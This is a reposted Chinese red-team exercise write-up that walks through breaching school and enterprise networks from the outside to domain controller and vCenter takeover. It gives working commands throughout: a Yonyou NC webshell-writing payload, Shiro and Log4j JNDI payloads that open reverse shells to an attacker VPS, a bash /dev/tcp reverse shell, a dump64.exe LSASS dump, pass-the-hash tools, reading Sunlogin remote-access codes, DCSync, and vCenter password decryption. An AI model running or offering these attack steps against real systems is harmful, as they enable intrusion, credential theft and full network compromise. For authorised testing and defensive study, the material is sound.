当前位置:   article > 正文

记一次攻防演练实战总结

shiro有key没链

0x01 外网打点

资产发现

多测绘平台搜索

https://hunter.qianxin.com/https://fofa.info/https://quake.360.cn/

image_X8BSXnkylx.png

image_ctJSWbXB6F.png

多语法搜索

假如某个目标站点为xxxx.com ,我们可以通过不同的语法进行资产搜集,搜集的资产会更全面
这里以fofa为例

  1. domain="xxxx.com"
  2. host="xxxx.com"
  3. header="xxxx.com"
  4. cert="xxxx.com"

敏感信息泄露

对于学校站点的信息搜集,一般来说外网能拿直接权限的点已经很少了,web应用大多是放在vpn后面,因此能弄到一个vpn账号可以说是事半功倍,这时候可以通过语法对此类信息进行挖掘

常用命令如下:

  1. #google语法
  2. site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码
  3. #github
  4. *.edu.cn password

image_22dBsSWKAO.png

在这次攻防演练里,也是幸运找到了某站点VPN的默认口令,使用的是 姓名拼音/12345678 弱口令

image_i-KtUIqFmy.png

默认口令

对于部分站点,在搭建完成后可能没有更改默认账号密码,这时候可以尝试使用默认账密登录

下面列举一些常见的web站点默认口令

  1. 账号:
  2. admin administrator root user test
  3. 密码:
  4. admin admin123123456 123 test root

对于一些应用广泛的系统,可以通过google语法搜索其默认密码

image_ejxlTxW5Av.png

这里通过sysadmin/1 成功登入泛微后台

t1sb-w5grl_9Xl3mB_bqn.png

nacos/nacos

image-20220723225803735.png

常见漏洞利用

对于多目标的攻防演练,个人比惯把目标子域url搜集好,去重后批量导进去指纹识别工具,如Goby、fofahub

从指纹识别结果里筛选出重要资产进行突破,使用已知漏洞或day进行攻击

以下为一些批量漏洞利用工具:

https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0https://github.com/d3ckx1/Fvulnhttps://github.com/W01fh4cker/Serein

框架类的如log4j、shiro、struts2等

OA类的如致远、泛微、用友、蓝凌等,这里也是找到了目标的用友nc站点

用友nc写shell

56xk-0ba58_-A3uKrDLZX.png

访问接口/servlet/~ic/bsh.servlet.BshServlet执行命令

d5lhwsk0r8_WfpuDtbLpm.png

dnslog探测了一下发现不出网,这里直接写入webshell

1、首先生成一个哥斯拉的jsp木马,然后进行unicode编码

image_796oyMMBO3.png

2、再把输出结果进行url编码

image_zZUpiKMWn1.png

3、payload字段如下,这里写入默认路径为 webapps/nc_web ,实战中灵活应变

  1. String keyWord = URLDecoder.decode("xxxxxx(填入生成内容)xxxxxx", "utf-8");  
  2. BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp"));
  3. out.write(keyWord);
  4. out.close();

这里直接写入哥斯拉马,连接成功

b8xw2a-s9d_hjEIes_edE.png

shiro无依赖链利用

通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro

直接使用shiro_attack_2.2工具开冲,发现有默认key但是无利用链

image_ylgMY223mT.png

可能有些人看到这里就放弃了,但这可能会错过一个利用点

shiro可以无依赖链利用,感觉有戏尝试一波,相关知识可拜读师傅的文章https://www.le1a.com/posts/a5f4a9e3

这里换用其他工具

image-20220607115446156_b9JXMk_Qxy.png

通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

这里可以通过网站快速生成payloadhttps://x.hacking8.com/java-runtime.html

  1. Linux:
  2. java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"
  3. 字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值
  4. nc -lvp 端口
  5. Windows:
  6. java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址
  7. java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"
  8. d2hvYW1p为命令的base64,这里是执行命令whoami

image_wvD-c4KvV-.png

0x02 内网渗透

杀软识别

拿到一台机器后,一般先看一下安装了什么安全防护产品

tasklist /svc

-rr-ew4zvx_bjnBTV1EhH.png

探测了一下发现安装了360,把之前准备好的bypass360马子扔上去,成功上线

chm2qtadrh_QYKNvySqi7.png

隧道搭建

ping了一下发现机器出网,可以上frp搭建反向代理隧道

7brv9u2oe7_ljYwWodDhg.png

proxifier配置相应的端口账密便可以进入内网

h0a0j4rf5-_22woqcMQL4.png

横向思路

1、优先拿运维机器,一般存放着大量的账号密码信息

2、其次是集权设备,Vcenter、堡垒机、天擎这些,有day上day,没day寻找其他方法

3、有域的情况下,争取拿到域管hash,或者通过已知漏洞拿下域控

横向移动

在扫描之前,可以先通过netspy筛选可达的网段再进行扫描

https://github.com/shmilylty/netspy

image_aAWQmEgoLW.png

接着上fscan对可达各个C段开扫,追求效率可只扫描22、80、443、445、1433、8080等重点端口

由于扫描会引起安全设备告警,因此横向尽可能在一小时内结束,避免入口机器被关机下线,对于拿到的机器可以通过计划任务进行维权,尽可能多拿几台机器保证口子不会掉,拿到机器后继续做信息搜集,网段,机器信息,敏感文件,xshell、navicat密码等常规的这里就不细说了

dump lssas

正常没有杀软我们可以通过mimikatz抓取密码

但很多时候mimikatz会被拦截,这时候可以通过一些LOLBINS方法dump出来本地解

image_xvtqu2JT5W.png

这里使用的dump64.exe为白程序,位置位于

C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\

dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp

测试可过360和火绒

image_w7zffbKEzi.png

image_x0lqYBmjQ2.png

密码复用

08机器之前可以抓到明文,抓不到明文可以尝试到cmd5上进行破解,破解率较高

https://www.cmd5.comhttps://www.somd5.com

获取密码之后可以通过超级弱口令工具进行密码复用爆破,拿着获取的密码重新组合字典,对网段内的机器进行爆破,这次也是成功拿下了几十台机器

image_B-HbFja15K.png

若hash解不出来,这时候我们可以根据开放的端口进行PTH,下面列举一些

  1. wmiexec135端口
  2. psexec   445端口
  3. evil-winrm   5985端口

向日葵读取密码

拿到机器的账号密码之后,若机器开启了3389端口可以选择rdp远程桌面过去,没开的话可以开启3389端口进行远程连接

  1. #执行以下命令操作注册表来开启机器3389远程桌面服务
  2. REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f
  3. #使用以下命令添加防火墙放行策略
  4. netsh firewall add portopening protocol = TCP port = 3389 name = rdp

但如果是正常办公时间,贸然登录过去会很容易引起对方的发现,若进程中有sunlogin进程,可以读取识别码和验证码,通过向日葵连接相对比较隐蔽

duk5gbct0f_meMyYaCbN7.png

注册表读取配置信息:

  1. reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo
  2. reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo
  3. 向日葵默认配置文件路径:
  4. 安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini
  5. 便携版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini
  6. 本机验证码参数:encry\_pwd
  7. 本机识别码参数:fastcode(去掉开头字母)
  8. sunlogincode:判断用户是否登录状态

读注册表:

glkpzmabud_771pPqH2eN.png

读默认配置文件:

fastcode去掉前面的数字k为本机识别码278263893

0k5feqz515_ejswLYRqVy.png

使用脚本进行解密获得本机验证码

r10bnuf1d3_sY377ayb3l.png

运维机

横向的时候优先拿运维机,一般运维机存储着大量的账号密码信息,比如这次无意中发现的运维机器使用的是弱口令administrator/111111

另外还可以通过cs插件查看机器历史登录IP对运维人员进行锁定

拿下后可通过命令行快速收集服务器、网络拓扑、密码本、公司信息等重要文件。

  1. dir /a /s /b d:\\" \*.txt"
  2. dir /a /s /b d:\\"\* pass \*"
  3. dir /a /s /b d:\\"\* login \*"
  4. dir /a /s /b d:\\"\* user \*"
  5. dir /a /s /b c:\\password.txt
  6. dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config
  7. dir /a /s /b c:\\conf.\* config.\*
  8. dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓扑"
  9. dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "运维"
  10. dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密码" >C:\\Users\\1.txt

最后收集了一堆密码本,可登录到各重要系统:

H3C堡垒机

ilyp6ixpq1_a6ILzCKmfM.png

禅道

a680cz-6mv_TJX707htOa.png

域控

1、通过fscan扫描的时候可以检索AD关键字发现域控

  1. [*]192.168.10.38 #非真实域控ip
  2.   [->]D1-Prod-AD-P01
  3.   [->]192.168.10.38
  4.  
  5. [*]192.168.10.20 #非真实域控ip
  6.   [->]AD
  7.   [->]192.168.10.20

2、域内主机 DNS 一般就是域控地址

接着可以通过该机器是否开放53和389端口进行进一步确认

这次攻防演练的其中一个目标,通过密码复用爆破成功的某台机器里,刚好存在着域管进程,提权到system权限后注入到域管进程,通过Dcsync成功获取域管密码的hash值,其中一个被禁用的账户刚好可以通过cmd5解出,解出明文密码并激活账户,成功登录两台域控机器,除此以外还可以尝试域漏洞、NTLM中继等

  1. net group"domain admins" /domain
  2. dcsync domain xxxx
  3. shell net user xxxx
  4. shell net user xxxx /active:yes /domain

image_CbIuSx-DB0.png

image_lKpb0bidqu.png

Vcenter

在扫描的过程中发现几台Vcenter,Vcenter常规有三种打法,分别是

CVE-2021-22005-rce、CVE-2021-21972-rce和log4j

前两个测试没成功,log4j通过dnslog探测漏洞存在,vcenter的漏洞触发点在xff头部

  1. java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1389 -p 8889 -i 0.0.0.0
  2. nc -lvp 9000
  3. ${jndi:ldap://VPSIP:1389/Deserialization/CommonsBeanutils1/ReverseShell/VPSIP/9000}

4s6zq8tgso_dj3CuwYEQo.png

styrmfmfl2_AgaGTkpKg8.png

但一般打完是非交互式shell,没有回显,这里使用命令切换为交互式shell

python -c 'import pty;pty.spawn('/bin/bash')'

重置密码

/usr/lib/vmware-vmdir/bin/vdcadmintool

不重置密码获取密码

https://github.com/shmilylty/vhost_password_decrypt

  1. #获取vc用户的密码
  2. cat /etc/vmware-vpx/vcdb.properties
  3. #把加密后的密码单独拿出来,
  4. psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip\_address,user\_name,password from vpx\_host;" > password.enc
  5. #改成这种格式\*
  6. H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==\*
  7. zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==\*
  8. Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==\*
  9. R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
  10. #拿解密key
  11. cat /etc/vmware-vpx/ssl/symkey.dat
  12. Windows:C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\ssl\\symkey.dat
  13. Linux:/etc/vmware-vpx/ssl/symkey.dat
  14. #破解
  15. python decrypt.py symkey.dat password.enc pass.txt

然后就可以登入web控制台了

1r01obzkhj_ogBBaw34kH.pngwrhrlq1_b0_FPzcE7l_qW.png

云管平台

通过运维机的xshell查找历史记录拿下了主备数据库,然后执行sql语句成功获取出了云管平台的hash

s0rd_kjpjv_87EAPEGHd4.png

到cmd5上进行解密,一块钱拿下云管平台很划算

ju3rv8cne0_h6vf8T_VC_.png

gg-wo7d5y4_4dPpSzvI37.png

但某些系统加密方式不是使用md5的,比如之前碰到的一些系统使用的是Bcrypt加密方式,像这种不可逆的加密方式可以通过替换hash进行登录

$2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS

image_jqNCTT6FpJ.png

image_X-SfF9SMpb.png

官网

当我们拿到集权设备后,一般里面会有靶标系统或核心系统,这些分数是很高的,这次演练某目标就是通过云管平台登录官网机器,抓取浏览器密码成功获取后台密码,成功拿下官网控制权

0dd0amrx3g_9fOtAaJESy.png

gitlab仓库

根据评分规则刷完路径分之后,可以根据目标性质找一些核心关键的系统跟裁判battle,像这种存有大量代码的仓库可以作为重大成果进行提交

j07_ng7z14_wYcVLx23dN.png

转载自原文地址:https://forum.butian.net/share/1780
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/483799
推荐阅读
相关标签
  

闽ICP备14008679号